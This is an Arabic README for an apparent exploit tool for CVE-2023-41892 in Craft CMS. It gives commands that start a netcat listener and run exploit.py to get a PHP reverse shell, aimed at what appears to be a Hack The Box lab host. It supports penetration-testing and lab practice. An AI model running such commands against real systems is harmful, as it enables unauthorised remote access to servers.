diegaccio/craft-cms-exploitCVE-2023-41892 شيل عكسي
هذا النص البرمجي بلغة بايثون يستغل ثغرة تنفيذ الأوامر عن بُعد (CVE-2023-41892) في نظام Craft CMS، وهو نظام إدارة محتوى شائع. الإصدارات بين 4.0.0-RC1 و 4.4.14 تتأثر بهذه الثغرة، مما يسمح للمهاجمين بتنفيذ أكواد عشوائية عن بُعد، مثل قذيفة عكسية بلغة PHP.
قم أولاً بتشغيل مستمع netcat في شل أخرى:
nc -nlvp 1234
ثم تحقق من عنوان IP الخاص بك وقم بتشغيل الأداة:
python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb
استمتع بالاختراق باستخدام قذيفتك العكسية الجديدة!
هذا الكود مخصص لأغراض الاختراق الأخلاقي فقط ولا ينبغي استخدامه لأي أنشطة ضارة!
شكرًا لـ to016 على الكود الأصلي الذي يمكن العثور عليه في هذا Gist
